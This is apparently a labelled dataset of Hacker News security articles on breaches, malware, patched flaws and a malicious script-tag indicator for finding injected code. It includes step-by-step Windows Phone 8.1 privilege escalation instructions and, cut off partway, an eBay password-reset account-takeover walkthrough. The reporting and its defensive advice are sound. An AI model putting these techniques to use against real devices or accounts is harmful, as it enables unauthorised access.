ORG - 2,690
If you want to find out if you have a problem just search for ""<script src=""https://lilupophi*****p.com/"" in google and use the site: parameter to hone in on your domain.

[News Submitted by @om_bee]

",Vulnerability
WordPress Update Breaks Automatic Update Feature—Apply Manual Update,https://thehackernews.com/2018/02/wordpress-update.html,"WordPress administrators are once again in trouble.

WordPress version 4.9.3 was released earlier this week with patches for a total 34 vulnerabilities, but unfortunately, the new version broke the automatic update mechanism for millions of WordPress websites.

WordPress team has now issued a new maintenance update, WordPress 4.9.4, to patch this severe bug, which WordPress admins have to install manually.

According to security site WordFence, when WordPress CMS tries to determine whether the site needs to install an updated version, if available, a PHP error interrupts the auto-update process.

If not updated manually to the latest 4.9.4 version, the bug would leave your website on WordPress 4.9.3 forever, leaving it vulnerable to future security issues.

Here's what WordPress lead developer Dion Hulse explained about the bug:
""#43103-core aimed to reduce the number of API calls which get made when the auto-update cron task is run. Unfortunately, due to human error, the final commit didn't have the intended effect and instead triggers a fatal error as not all of the dependencies of find_core_auto_update() are met. For whatever reason, the fatal error was not discovered before 4.9.3's release—it was a few hours after release when discovered.""
The issue has since been fixed, but as reported, the fix will not be installed automatically.

Thus, WordPress administrators are being urged to update to the latest WordPress release manually to make sure they'll be protected against future vulnerabilities.

To manually update their WordPress installations, admin users can sign into their WordPress website and visit Dashboard→Updates and then click ""Update Now.""

After the update, make sure that your core WordPress version is 4.9.4.

However, not all websites being updated to the faulty update have reported seeing this bug. Some users have seen their website installed both updates (4.9.3 and 4.9.4) automatically.

Moreover, the company released two new maintenance updates this week, but none of them includes a security patch for a severe application-level DoS vulnerability disclosed last week that could allow anyone to take down most WordPress websites even with a single machine.

Since WordPress sites are often under hackers target due to its wide popularity in the content management system (CMS) market, administrators are advised to always keep their software and plugins up-to-date.

",Vulnerability
How Your Computer Monitor Could Be Hacked To Spy On You,https://thehackernews.com/2016/08/computer-monitor-hack.html,"Just stop believing everything you see on your screen, as it turns out that even your computer monitor can be hacked.

You have seen hackers targeting your computer, smartphone, and tablet, but now, it has been proved that they can even compromise your monitor and turn them against by just changing the pixels displayed on the screen.

Although changing pixels is really hard and complicated, a team of security researchers at this year's DEF CON says that it is not impossible.

Ang Cui and Jatin Kataria of Red Balloon Security has demonstrated a way to hack directly into the computer that controls monitor to see the pixels displayed on the monitor as well as manipulate the pixels in order to display different images.

How to Hack Computer Monitors?

According to the researchers, an attacker first needs to gain physical access to the monitor's USB or HDMI port which would then help the attacker access the firmware of the display.

The duo said they discovered the hack by reverse-engineering a Dell U2410 monitor, though it was not an easy process, as it took over two years.

In the process, the pair found out that Dell had not implemented any security measures with regard to the process to update the display controller's firmware, which allowed for this hack.

This means that anyone with malicious intent and access to the monitor's USB or HDMI port would be able to hijack monitor — which involves injecting malicious firmware with the help of a drive-by attack — as well as manipulate the on-screen pixels.

The researchers developed a working exploit, saying ""We can now hack the monitor and you shouldn't have blind trust in those pixels coming out of your monitor.""

How Dangerous could the Monitor Hack possibly be?

Changing a single button could cause a huge amount of damage to the nation. The team gave an example by changing the status-alert light on the control interface of a power plant from Green to Red, which could trick someone into shutting down the power plant.

During their presentation, Cui and Kataria were also able to inject a photo onto a display and add a secure lock icon to the address field of a Web browser.

In one example, the team even demonstrated the ability to change PayPal balance from $0 to $1,000,000,000.

So, hackers do not require to infect your computer with a ransomware infection. If they can hack your monitor, they can manipulate the pixels to display a ransomware message permanently on your screen, demanding payment to remove the message.

This could be a new strain of computer-based Ransoming.

What's even Worse?

The hacker could log the pixels generated by the monitor and effectively spy on the target users.

The pair warns that this issue does not limit to just Dell monitors, but also potentially affects one Billion monitors all over the world, given that all of the most common brands have vulnerable processors.

However, there's a downside to this attack.

This type of attack is pretty easy to detect, as the image on a screen does not load nearly as fast as it would have before being infected.

So it's possibly not the most efficient way to manipulate things quickly on the computers of victims, who are sitting in front of their computers all the time.

But what about industrial control systems monitors, whose displays are mostly static?

Well, if hackers target industrial control console, the attack might be a lot harder to detect. So, stop trusting your monitors, peeps!

Those interested in checking out the code behind the technique can do so by clicking here.

",Malware
"Encrypted Messaging Project ""Matrix"" Suffers Extensive Cyber Attack",https://thehackernews.com/2019/04/encrypted-messenger-cyberattack.html,"Matrix—the organization behind an open source project that offers a protocol for secure and decentralized real-time communication—has suffered a massive cyber attack after unknown attackers gained access to the servers hosting its official website and data.

Hackers defaced Matrix's website, and also stole unencrypted private messages, password hashes, access tokens, as well as GPG keys the project maintainers used for signing packages.

The cyber attack eventually forced the organization to shut down its entire production infrastructure for several hours and log all users out of Matrix.org.

So, if you have an account with Matrix.org service and do not have backups of your encryption keys or were not using server-side encryption key backup, unfortunately, you will not be able to read your entire encrypted conversation history.

Matrix is an open source end-to-end encrypted messaging protocol that allows anyone to self-host a messaging service on their own servers, powering many instant messengers, VoIP, WebRTC, bots and IoT communication.

Vulnerable Jenkins Allowed Attackers to Access Server

According to a press release published today by Matrix Project, unknown attackers exploited a sandbox bypass vulnerability in its production infrastructure on 4th April that was running on an outdated, vulnerable version of Jenkins automation server.

The Jenkins flaw allowed attackers to steal internal SSH keys, which they used to access Matrix's production infrastructure, eventually granting them access to unencrypted content, including personal messages, password hashes, and access tokens.
Screenshot Credit: David on Twitter
After being informed of the vulnerability by JaikeySarraf on 9th April, Matrix.org identified the full scope of the attack and removed the vulnerable Jenkins server as well as revoked the attacker's access from its servers on 10th April.

The next day, Matrix.org also took its home server down and started rebuilding its production infrastructure from scratch, which has now been back online.

Today at around 5 am UTC, the attackers behind the cyber attack also managed to repoint DNS for matrix.org to a defacement website hosted on GitHub using a Cloudflare API key, which was compromised in the attack and theoretically replaced during the rebuild.

Since the latest defacement confirms that the stolen encrypted password hashes were exfiltrated from the production database, Matrix.org forced to log out all users and strongly advised them to change their passwords immediately.

""This was a difficult choice to make. We weighed the risk of some users losing access to encrypted messages against that of all users' accounts being vulnerable to hijack via the compromised access tokens,"" the company says.

""We hope you can see why we made the decision to prioritize account integrity over access to encrypted messages, but we're sorry for the inconvenience this may have caused.""

The company also confirms that the GPG keys used for signing packages were also compromised, but fortunately, the attackers did not use it to release malicious versions of the software signed with the stolen keys.

Matrix project assures that both keys have now been revoked.

The maintainers of the project also say they will shortly start emailing all affected users to inform them about the incident and advise them to change their passwords.

",Cyber_Attack
Windows Phone 8.1 Hacked,https://thehackernews.com/2014/11/windows-phone-81-hacked.html,"Do you wanna hack Nokia Lumia phone running the latest mobile operating system Windows 8.1 ?? Hackers have made it very easy for you all..!!

Just few weeks after Microsoft announced a 19 year-old critical security hole existed in almost every version of its Windows operating system, XDA-developers have discovered a new vulnerability in Microsoft's youngest OS Windows 8.1 that could easily be exploited by hackers to hack a Nokia Lumia phone.

XDA Developers hacker who go by the name DJAmol has found a wide open hole in OS Windows Phone 8.1 which makes the operating system very easy to hack. The vulnerability allows attackers to run their application with other user's privileges and edit the registry.

DJAmol realized that simply by replacing the contents of a trusted OEM app that has been transferred over to the SD card, the app will inherit the privileges of the original app. Once done, an attacker could then delete the existing directory and create a new directory with the same name as the original App.

As a result, the third party registry editor app will gain full access to the Info and Settings in the app itself. This how the hack can be implement in a few simple steps prescribed by XDA-developers in a blog post.
Develop your own application package and deploy it on the target device.
Install an any application such as ""Glance Background Beta"" from the Window Phone app Store.
Delete all folders under the targeted directory of the installed app, in this case, Glance background.
Now copy the contents of your own deployed package and paste it on the targeted directory. This implies replacing the ""Program Files"" of the installed app with your package files.
Finally launch the App which will run in OEM (Glance Background beta) directory using the privileges of the targeted App.
The hack is very simple and easy to implement because all it need an application from the Window app store. But thankfully, the hack has not yet escalated to a full interop unlock, as the applications which are allowed to be moved to the SD card have limited access.

XDA developers forum reported the vulnerability to the Microsoft and also warned them that the vulnerability could give higher privileges to the attackers if tried using a First Party Application, rather a third party app. By the time, we can just wait for a response from Microsoft's part to prevent it from getting more serious.

",Vulnerability
Self-Driving Cars Can Be Hacked By Just Putting Stickers On Street Signs,https://thehackernews.com/2017/08/self-driving-car-hacking.html,"Car Hacking is a hot topic, though it's not new for researchers to hack cars. Previously they had demonstrated how to hijack a car remotely, how to disable car's crucial functions like airbags, and even how to steal cars.

But the latest car hacking trick doesn't require any extra ordinary skills to accomplished. All it takes is a simple sticker onto a sign board to confuse any self-driving car and cause accident.

Isn't this so dangerous?

A team of researchers from the University of Washington demonstrated how anyone could print stickers off at home and put them on a few road signs to convince ""most"" autonomous cars into misidentifying road signs and cause accidents.

According to the researchers, image recognition system used by most autonomous cars fails to read road sign boards if they are altered by placing stickers or posters over part or the whole road sign board.

In a research paper, titled ""Robust Physical-World Attacks on Machine Learning Models,"" the researchers demonstrated several ways to disrupt the way autonomous cars read and classify road signs using just a colour printer and a camera.
By simply adding ""Love"" and ""Hate"" graphics onto a ""STOP"" sign (as shown in the figure), the researchers were able to trick the autonomous car's image-detecting algorithms into thinking it was just a Speed Limit 45 sign in 100 percent of test cases.

The researchers also performed the same exact test on a RIGHT TURN sign and found that the cars wrongly classified it as a STOP sign two-thirds of the time.

The researchers did not stop there. They also applied smaller stickers onto a STOP sign to camouflage the visual disturbances and the car identified it as a street art in 100 percent of the time.

""We [think] that given the similar appearance of warning signs, small perturbations are sufficient to confuse the classifier,"" the researchers told Car and Driver. ""In future work, we plan to explore this hypothesis with targeted classification attacks on other warning signs.""

The sign alterations in all the experiments performed by the researchers were very small that can go unnoticed by humans, but since the camera's software was using an algorithm to understand the image, it interpreted the sign in a profoundly different way.

This small alteration to the signs could result in cars skipping junctions and potentially crashing into one another.

The research were carried out by the researchers from the University of Washington, the University of Michigan Ann Arbor, Stony Brook University and the University of California Berkeley, and credit researchers, including Ivan Evtimov, Kevin Eykholt, Earlence Fernandes, Tadayoshi Kohno, Bo Li, Atul Prakash, Amir Rahmati, and Dawn Song.

Although the researchers did not reveal the manufacturer whose self-driving car they used in their experiments, threats to self-driving cars have once again made us all think of having one in future.

",Cyber_Attack
40th anniversary of the computer virus !,https://thehackernews.com/2011/03/40th-anniversary-of-computer-virus.html,"This year marks the 40th anniversary of Creeper, the world's first computer virus. From Creeper to Stuxnet, the last four decades saw the number of malware instances boom from 1,300 in 1990, to 50,000 in 2000, to over 200 million in 2010.

Besides sheer quantity, viruses, which were originally used as academic proof of concepts, quickly turned into geek pranks, then evolved into cybercriminal tools. By 2005, the virus scene had been monetized, and virtually all viruses were developed with the sole purpose of making money via more or less complex business models.

In the following story, FortiGuard Labs looks at the most significant computer viruses over the last 40 years and explains their historical significance.

1971: Creeper: catch me if you can

While theories on self-replicating automatas were developed by genius mathematician Von Neumann in the early 50s, the first real computer virus was released ""in lab"" in 1971 by an employee of a company working on building ARPANET, the Internet's ancestor.

Intriguing feature: Creeper looks for a machine on the network, transfers to it, displays the message ""I'm the creeper, catch me if you can!"" and starts over, thereby hoping from system to system. It was a pure proof of concept that ties the roots of computer viruses to those of the Internet.

1982: Elk Cloner

Written by a 15-year old as a way to booby trap his friends' Apple II computer systems without physical access to them, Elk Cloner spread via floppy disks. Infected machines displayed a harmless poem, dedicated to the virus' glory.

Intriguing feature: Elk Cloner was the first virus ever to spread outside of the lab it was created in. Its global impact was negligible and its intent plainly geeky.

1987: Jerusalem

First detected in the Hebrew University of Jerusalem, the aptly-named Jerusalem is somewhat deleterious. Each year on Friday the 13th, this virus deleted every single program that's run on the infected system.

Intriguing feature: Jerusalem is the first example of a destructive virus to have a global impact. Of course, the sheer number of computers back then was infinitesimal, compared to today.

1992: Michelangelo: The sleeper must awaken

The dormant Michelangelo virus was designed to awaken on March 6th (Michelangelo's birthday – as in the Renaissance artist, not the Ninja Turtle) and erase critical parts of infected computers' hard drives.

Intriguing feature: The promises of destruction it carried spawned a media frenzy. In the weeks preceding March 6th, media relayed (and some may say amplified) experts' predictions forecasting 5 million computers going definitively down. Yet, on March 6th, only a few thousand data losses were reported – and public trust in AV companies' ethics was tainted for a while.

1999: Melissa

Melissa propagated via infected Microsoft Word documents and mailed itself to Outlook contacts of the contaminated user. It was virulent enough to paralyze some important mailing systems on the Internet. Its author created the bug to honor Melissa, a stripper he'd met in Florida. Whether he conquered her heart this way is somewhat unlikely, but one thing is sure: the malicious code earned him 20 months in jail and a $5,000 fine.

Intriguing feature: Someone created a variant of Melissa that encrypted the infected files and demanded a ransom of $100 to be wired to an offshore account for decryption. The author was traced to the said account. While it remained an isolated case, it is worth noting that 6 years before the malware scene became fully monetized, someone had already started figuring out how to make bucks out of viruses.

2000: I LOVE YOU

At the dawn of the XXIst century, I LOVE YOU worm infected tens of millions of computers. As a fairly simple worm, I LOVE YOU presented itself as an incoming email with ""I love you"" in its subject line and infected the machine of users who opened the attachment. It then mailed itself to all of the contacts found on the infected user's system.

Intriguing feature: While the author's motivation clearly wasn't about money, the damages were: When the dust settled, I LOVE YOU had cost companies around the world between $5 and $10 billion. Much of that cost can be attributed to the time spent ""cleaning"" infected machines.

2001: Code Red

While I LOVE YOU targeted end users, Code Red infected Web servers, where it automatically spread by exploiting a vulnerability in Microsoft IIS servers. In less than one week, nearly 400,000 servers were infected, and the homepage of their hosted Websites was replaced with ""Hacked By Chinese!""

Intriguing feature: Code Red had a distinguishing feature designed to flood the White House Website with traffic (from the infected servers), probably making it the first case of documented 'hacktivism' on a large scale.

2004: Sasser

Like Code Red, Sasser spread without anyone's help; but this time, the virus exploited a vulnerability in Microsoft Windows to propagate, which made it particularly virulent. What's more, due to a bug in the worm's code, infected systems turned off every couple of minutes.

Intriguing feature: For the first time, systems whose function isn't normally related to the Internet (and that mostly existed before the Internet) were severely impacted. More than one million systems were infected, AFP's communications satellites were interrupted for hours, Delta Airlines was forced to cancel flights, the British coast guard had to go back to print maps, and a hospital had to redirect its emergency room because its radiology department was completely paralyzed by the virus. The damage amount was estimated to be more than $18 billion.

Microsoft placed a $250,000 bounty on the author's head, who turned out to be an 18-year old German student. When caught, the student admitted that he created the malicious code as a creative way to help his mother to find a job in the computer security industry.

2005: MyTob, the turning point

MyTob appeared in 2005 and was one of first worms to combine the features of a Bot (the infamous ""Zombies,"" controlled by a remote Botmaster) and a mass-mailer.

Intriguing feature: MyTob marks the entry in the era of Botnets and of cybercrime. Business models designed to ""monetize"" the many botnets appeared (some of which will count more than 20 million machines): installation of spyware, diffusion of spam, illegal content hosting, interception of banking credentials, blackmail, etc. The revenue generated from these new botnets quickly reached several billion dollars per year; a figure that is growing today.

2007: Storm botnet

By 2007, cybercriminals already had lucrative business models in place. They're thinking about protecting their money spinners (infected computers). Before 2007, botnets showed a cruel lack of robustness: in neutralizing its unique Control Center, a botnet could be completely neutralized, because Zombies didn't have anyone to report to (and take commands from) anymore.

Intriguing feature: By implementing a peer-to-peer architecture, Storm became the first Botnet with decentralized command… It is much more robust. At the peak of the epidemic, Storm had infected between 1 and 50 million systems and accounted for 8% of all malware running in the world.

2008: Koobface

Koobface (an anagram for Facebook) spreads by pretending to be the infected user on social networks, prompting friends to download an update to their Flash player in order to view a video. The update is a copy of the virus.

Intriguing feature: Koobface is the first botnet to recruit its Zombie computers across multiple social networks (Facebook, MySpace, hi5, Bebo, Friendster, etc). Today, it is estimated that at any time, over 500,000 Koobface zombies are online at the same time.

2009: Conficker

Conficker is a particularly sophisticated virus, as it's both a worm, much like Sasser, and an ultra-resilient botnet, which implements bleeding-edge defensive techniques. Curiously, it seems that its propagation algorithm is poorly calibrated, causing it to be discovered more frequently. Some networks were so saturated by Conficker, that it caused planes to be grounded, including a number of French Fighter planes. In addition, hospitals and military bases were impacted. In total approximately 7 million systems were infected worldwide.

Intriguing feature: Conficker did not infect Ukrainian IPs, nor machines configured with a Ukrainian keyboard. This suggests the authors were playing by the cybercriminal gold rule, which implicitly states, ""Don't target anything in your own country, and the arm of justice won't be long enough to reach you.""

2010: Stuxnet, welcome to the cyber war

According to most threat researchers today, only governments have the necessary resources to design and implement a virus of such complexity. To spread, Stuxnet exploited several critical vulnerabilities in Windows, which, until then, were unknown, including one guaranteeing its execution when inserting an infected USB key into the target system, even if a systems autorun capabilities were disabled. From the infected system, Stuxnet was then able to spread into an internal network, until it reached its target: a management system of an industrial process edited by Siemens. In this particular instance, Stuxnet knew the weak point with a specific controller – perhaps a cooling system – and most likely intended to destroy or neutralize the industrial system.

Intriguing feature: For the first time, the target of a virus is the destruction of an industrial system (very probably a nuclear power plant in Iran).

What's next?

According to the trends we're seeing, the next target for cybercriminals could be smart phones. Their widespread use and the fact that they incorporate a payment system (premium rate phone numbers) make them easy money-generating targets. Furthermore, they have a localization system, a microphone, embedded GPS and one (or several) cameras, which potentially allow a particularly invasive spying of their owners.

News Source : net-security.org

",Malware
FIN7 Supervisor Gets 7-Year Jail Term for Stealing Millions of Credit Cards,https://thehackernews.com/2021/06/fin7-supervisor-gets-7-year-jail-term.html,"A Ukrainian national and a mid-level supervisor of the hacking group known as FIN7 has been sentenced to seven years in prison for his role as a ""pen tester"" and perpetuating a criminal scheme that enabled the gang to compromise millions of customers debit and credit cards.
Andrii Kolpakov, 33, was arrested in Spain on June 28, 2018, and subsequently extradited to the U.S. the following year on June 1, 2019. In June 2020, Kolpakov pleaded guilty to one count of conspiracy to commit wire fraud and one count of conspiracy to commit computer hacking.
The Western District of Washington also ordered Kolpakov to pay $2.5 million in restitution.
The defendant, who was involved with the group from April 2016 until his arrest, managed other hackers who were tasked with breaching the point-of-sale systems of companies, both in the U.S. and elsewhere, to deploy malware capable of stealing financial information.
FIN7, also called Anunak, Carbanak Group, and the Navigator Group, is said to have engaged in a sophisticated malware campaign at least since 2015 targeting restaurant, gambling, and hospitality industries in the U.S. to plunder credit and debit card numbers that were then used or sold for profit on underground forums.
According to court documents, FIN7 used a firm called Combi Security as a front to recruit hackers — one of them being Kolpakov — to ""provide a veil of legitimacy to the illegal enterprise,"" while projecting itself as ""one of the leading international companies"" that offered penetration testing services to customers worldwide.
""FIN7 carefully crafted email messages that would appear legitimate to a business's employees and accompanied emails with telephone calls intended to further legitimize the emails,"" the Department of Justice (DoJ) said in a release. ""Once an attached file was opened and activated, FIN7 would use an adapted version of the Carbanak malware, in addition to an arsenal of other tools, to access and steal payment card data for the business's customers.""
The total damages stemming from these intrusions exceeded $1 billion, the DoJ said.
Kolpakov is the second member of the FIN7 group to be sentenced in the U.S. since the start of the year. In April, another 35-year-old Ukrainian national Fedir Hladyr was awarded 10 years in prison for his role as a high-level manager and systems administrator responsible for maintaining the server infrastructure that FIN7 used to attack and control victims' machines.
This is not the first time FIN7 has disguised itself as a legitimate cybersecurity company to distribute malware.
Last month, researchers from BI.ZONE cyber threats research team found that the collective distributed a toolkit called Lizar (aka Tirion) as a penetration testing software for Windows networks with the aim of conducting reconnaissance and getting a foothold inside infected systems. ""These groups hire employees who are not even aware that they are working with real malware or that their employer is a real criminal group,"" the researchers noted.

",Malware
Critical Zcash Bug Could Have Allowed 'Infinite Counterfeit' Cryptocurrency,https://thehackernews.com/2019/02/zcash-cryptocurrency-hack.html,"The developers behind the privacy-minded Zcash cryptocurrency have recently discovered and patched a highly dangerous vulnerability in the most secretive way that could have allowed an attacker to coin an infinite number of Zcash (ZEC).

Yes, infinite… like a never-ending source of money.

Launched in October 2016, Zcash is a privacy-oriented cryptocurrency that claims to be more anonymous than Bitcoin, as the sender, recipient, and value of transactions remain hidden.

In a blog post published today, the Zerocoin Electric Coin Company—the startup behind Zcash—revealed that one of its employees, Ariel Gabizon, discovered the vulnerability in its code on 1st March 2018, the night prior to his talk at the Financial Cryptography conference almost a year ago.

Gabizon contacted Sean Bowe, a Zcash Company's cryptographer, immediately after discovering the counterfeiting vulnerability, as dubbed by the team, and the team decided to keep the flaw secret in order to avoid the risk of attackers exploiting it.

According to the company, only four Zcash employees were aware of the issue before a fix was covertly included in the Zcash network on 28th October 2018.

Besides this, since ""discovering this vulnerability would have required a high level of technical and cryptographic sophistication that very few people possess,"" the company believes that no one else was aware of this flaw and that no counterfeiting occurred in Zcash.

Now, the Zcash team detailed all about the vulnerability on its official site to inform the broader public, which if exploited, would have allowed an attacker to print an infinite amount of Zcash tokens.

Details of the Catastrophic Zcash Vulnerability

According to the team, the counterfeiting vulnerability resided in the variant of zk-SNARKs—an implementation of zero-knowledge cryptography Zcash uses to encrypt and shield the transactions—which has independently been implemented by other projects.

Both Komodo blockchains and Horizen (previously known as ZenCash) suffered from the same issue and reportedly fixed it on their platforms after being notified by the Zcash team back in mid-November 2018 via an encrypted email.

The vulnerability was the result of a ""parameter setup algorithm"" that allowed ""a cheating prover to circumvent a consistency check"" and thereby transformed ""the proof of one statement into a valid-looking proof of a different statement.""

Anyone with access to the multi-party computation (MPC) ceremony transcript, which is used to set up the privacy features for Zcash, would have been able to create false proofs, granting them the ability to create an unlimited amount of shielded coins.

Though the developers found no evidence of counterfeiting occurred in Zcash, they confirmed that the vulnerability had existed for years.
""The vulnerability had existed for years but was undiscovered by numerous expert cryptographers, scientists, third-party auditors, and third-party engineering teams who initiated new projects based upon the Zcash code,"" the company writes.
Since Zcash is private, even if someone could have counterfeited Zcash in the past, there's no way to find out. However, the Zcash Company argued that it ""studied the blockchain for evidence of exploitation: An attack might leave a specific kind of footprint. We found no such footprint.""

Fixes for this vulnerability were implemented in the Zcash Sapling network upgrade in October 2018, and some, including former NSA whistleblower Edward Snowden, have applauded the team's handling of the flaw.

",Vulnerability
"Incredible! Someone Just Hacked 10,000 Routers to Make them More Secure",https://thehackernews.com/2015/10/hack-wifi-router.html,"Has anyone ever heard about a ""Vigilante-style Hacker,"" who hacks every possible system to make them more Secure?

No. It's not funny, neither a movie story:

Reportedly, someone is hacking thousands unprotected Wi-Fi routers everywhere and apparently forcing owners to make them more Secure.

Security firm Symantec has discovered a new malware, dubbed ""Linux.Wifatch"" a.k.a ""Ifwatch,"" infected more than 10,000 vulnerable 'Internet of Things' devices, and spreading quickly.

However, Linux.Wifatch not only removes malicious backdoor but also encourages users to update their weak passwords.

How Does Linux.Wifatch Work?

Once a device is infected, the Linux.Wifatch malware connects to a peer-to-peer network that is being used to distribute threat updates.

Linux.Wifatch's code does not deploy any payload for malicious activities, such as to carry out DDoS attacks, rather it detects and remediates the known families of malicious codes present on the compromised devices.

After Installation, whenever 'Linux.Wifatch' detects any malicious activity or malware on the vulnerable device; it asks the device owners to:
Change their default password,
Close potentially vulnerable Telnet port immediately
However, the malware does not appear to be used for malicious purposes yet, but researchers have found that the malware contains a number of backdoors that can be used by its developer to carry out malicious tasks remotely.

Linux.Wifatch, written in the Perl programming language, was first discovered in November last year by an independent malware researcher, who calls himself ""Loot Myself.""

The researcher shared complete details of the malware in a two-part series on his blog with the same name - ""Loot Myself: Malware Analysis and Botnet tracking.""

In 2014, the researcher sensed unwanted activities in his home router and for which he could not find the location as well.

This curiosity made him explore more, and while digging deeper he decoded the roots of the malware- THE SOURCE CODE, written in Perl.

After going through the source code, the researcher points out that the code is not obfuscated; it just uses compression and minification of the source code.

Further, the researcher mentions about an unusual activity:
""To any NSA and FBI agents reading this: please consider whether defending the U.S. Constitution against all enemies, foreign or domestic, requires you to follow Snowden's example."" he says in the blog post.

How to Secure Your Wireless Router?

Though the risk associated with Linux.Wifatch is low, the security researchers at Symantec are keeping an eye on its activities.

They say with such a ""Malware-for-Good,"" it apparently creates a 'Benefit of the Doubt' as the author's intentions are unknown.

The case hasn't closed yet, as Symantec says, ""It pays to be suspicious.""

Essential Security Measures

Symantec had previously issued measures to get rid of this Malware. Here below you can read a few important recommendation in short:
Use a Firewall to block all incoming connections
Enforce a password policy
Make sure to offer the lowest level of privileges to programs
Disable AutoPlay
Turn off file sharing if not needed

How to Remove 'Linux.Wifatch' Malware?

If you have also detected such activity on your home routers, you can get rid of the risk associated with it by:
Resetting your device; as it will remove the Linux.Wifatch malware
Keeping your device's software and firmware up to date
Changing any default passwords that may be in use
Resetting your passwords routinely

More Ways to Protect your Network

Further, you can protect your Wireless network by following few measures, that assure your security, like:
Turning on your wireless router's encryption setting
Turn the Firewall On
Change Default Passwords
Change the default ""SSID"" (service set identifier) of your devic
Turn Network Name Broadcasting Off
Use the MAC Address Filter

",Vulnerability
Dixons Carphone Data Breach Affects 10 Million Customers,https://thehackernews.com/2018/07/dixons-carphone-data-breach.html,"Dixons Carphone's 2017 data breach was worse than initially anticipated.

In an announcement on Monday, Dixons Carphone, one of the largest consumer electronics and telecommunication retailers in Europe, admitted that the breach affected around 10 million customers, up from an initial estimate of 1.2 million people the company acknowledged back in June.

The company, which has been investigating the hack since it was discovered in June this year, said the investigation is nearly over and now there is evidence that some of the data may have been taken from its systems.

The Carphone Warehouse and Currys PC World owner said the hackers may have accessed personal information of its affected customers including their names, addresses and email addresses last year.

The hackers also got access to 5.9 million payments cards used at Currys PC World and Dixons Travel, but nearly all of those cards were protected by the chip-and-pin system.

However, Dixons Carphone assured its customers that no bank details, including pin codes, card verification values and authentication data used to make purchases, were taken and that there's no evidence any fraud had resulted from the security breach.

""As a precaution, we are choosing to communicate to all of our customers to apologize and advise them of protective steps to minimize the risk of fraud,"" the company said in a statement. ""We are continuing to keep the relevant authorities updated.""

The company said it has now taken action to close off the unauthorized access and has ""no evidence it is continuing.""

Dixons says it has put in place new security measures to safeguard its customer data and is working with experts to prevent any future intrusion.
""We continue to make improvements and investments at pace to our security environment through enhanced controls, monitoring, and testing,"" Dixons said.
This is second time in three years Dixons Carphone has become the victim of a major cyber attack. In 2015, a data breach hit around 3 million customers, for which the company was fined £400,000 earlier this year.
",Data_Breaches
"AT&T Suffers Data Breach, Customers' Personal Information Compromised",https://thehackernews.com/2014/06/at-suffers-data-breach-customers.html,"AT&T has confirmed a security data breach in which attackers have compromised the security of a number of its mobile customers and stolen personal information including Social Security numbers and call records.

Back in April this year, AT&T suffered a data breach in which some of its customer information, including birth dates and Social Security numbers had been inappropriately accessed by three employees of one of its third-party vendors, in order to generate codes that could be used to unlock devices.

Moreover, the hackers would have also been able to access its users' credit report with Customer Proprietary Network Information (CPNI) during the process without proper authorization, that means the information related to what subscribers purchase from AT&T would also have been compromised.

The Dallas-based telecommunications giant did not specify the number of customers or type of information affected by this data breach, but state law requires such disclosures if an incident affects at least 500 customers in California. Neither it revealed that why it took so long to confirm the breach.

AT&T sent a letter to the California Attorney General explaining the recent data security breach to its mobile customers, and said that the third-party contractor's employees who were responsible for the breach were terminated and will no longer for the company.
""AT&T's commitment to customer privacy and data security are top priorities, and we take those commitments very seriously. We recently determined that employees of one of our service providers violated our strict privacy and security guidelines by accessing your account without authorization between April 9 and April 21, 2014, and, while doing so, would have been able to view your social security number and possibly your date of birth,"" the letter says.
Many mobile phone providers are provided by carriers with a software lock that prevents the devices from being used on other competitors' networks. AT&T allows its users to typically request an ""unlock code"" that unlock their devices from its network and to do this the customers have to provide their own account information to verify their identities.

According to the company, the company discovered the data breach on 19 May, and it believes the alleged employees were trying to obtain the unlock codes of the devices so that they could remove devices from AT&T's network to other cellphone networks around the world for second-hand markets resale.
""AT&T believes the employees accessed your account as part of an effort to request codes from AT&T that are used to unlock AT&T mobile phones in the secondary mobile phone market so that those devices can then be activated with other telecommunications providers.""
AT&T had reported the matter about the data breach to the law enforcement of United States and thereby announced that it would offer one year of free credit monitoring service for affected users.

",Data_Breaches
NVIDIA Jetson Chipsets Found Vulnerable to High-severity Flaws,https://thehackernews.com/2021/06/nvidia-jetson-chipsets-found-vulnerable.html,"U.S. graphics chip specialist NVIDIA has released software updates to address a total of 26 vulnerabilities impacting its Jetson system-on-module (SOM) series that could be abused by adversaries to escalate privileges and even lead to denial-of-service and information disclosure.
Tracked from CVE‑2021‑34372 through CVE‑2021‑34397, the flaws affect products Jetson TX1, TX2 series, TX2 NX, AGX Xavier series, Xavier NX, and Nano and Nano 2GB running all Jetson Linux versions prior to 32.5.1. The company credited Frédéric Perriot of Apple Media Products for reporting all the issues.
The NVIDIA Jetson line consists of embedded Linux AI and computer vision compute modules and developer kits that primarily caters to AI-based computer vision applications and autonomous systems such as mobile robots and drones.
Chief among the vulnerabilities is CVE‑2021‑34372 (CVSS score: 8.2), a buffer overflow flaw in its Trusty trusted execution environment (TEE) that could result in information disclosure, escalation of privileges, and denial-of-service.
Eight other critical weaknesses involve memory corruption, stack overflows, and missing bounds checks in the TEE as well as heap overflows affecting the Bootloader that could lead to arbitrary code execution, denial-of-service, and information disclosure. The rest of the flaws, also related to Trusty and Bootloader, could be exploited to impact code execution, causing denial-of-service and information disclosure, the company noted.
""Earlier software branch releases that support this product are also affected,"" NVIDIA said. ""If you are using an earlier branch release, upgrade to the latest 32.5.1 release. If you are using the 32.5.1 release, update to the latest Debian packages.""

",Vulnerability
Hacking any eBay Account in Just 1 Minute,https://thehackernews.com/2014/09/hacking-ebay-accounts.html,"Four month ago, a massive data breach on the eBay website affected 145 million registered users worldwide after its database was compromised. Meanwhile, another critical vulnerability on the eBay website was reported, allowing an attacker to hijack millions of user accounts in bulk.

An Egyptian security researcher 'Yasser H. Ali' informed The Hacker News about this vulnerability 4 months ago, which could be used by the cyber criminals in the targeted attacks. At that time, Mr.Yasser secretly demonstrated the vulnerability step-by-step to 'The Hacker News' team and we confirmed - IT WORKS.

Since it was not addressed by the eBay security team, we kept the technical details of this vulnerability hidden from our readers. But, as we promised to share the technical details of this interesting flaw, once after eBay team patch it. So, Here we go!

The vulnerability Yasser found could allow you to Reset Password of any eBay user account and that too without any user interaction or dependency. The only thing you required is the login email ID or username of the victim you want to hack.
BUT HOW TO HACK ANY eBAY ACCOUNT?
Basically to recover the forgotten password, user is first redirected to a password reset page, where eBay page first generates a random code value as HTML form parameter ""reqinput"", which is visible to the attacker as well using Browser's inspect element tool.

After the user provides his/her email id and presses the submit button, eBay generates a second random code, which is unknown to anybody else except the users themselves, and send the code along with a password reset link to the eBay user with the registered email address.

Once the user clicks on the password reset link provided in the email, user will be redirected to an eBay page with new password set option, where the user only needs to enter a new password twice and has to submit it, in order to reset his eBay account password.

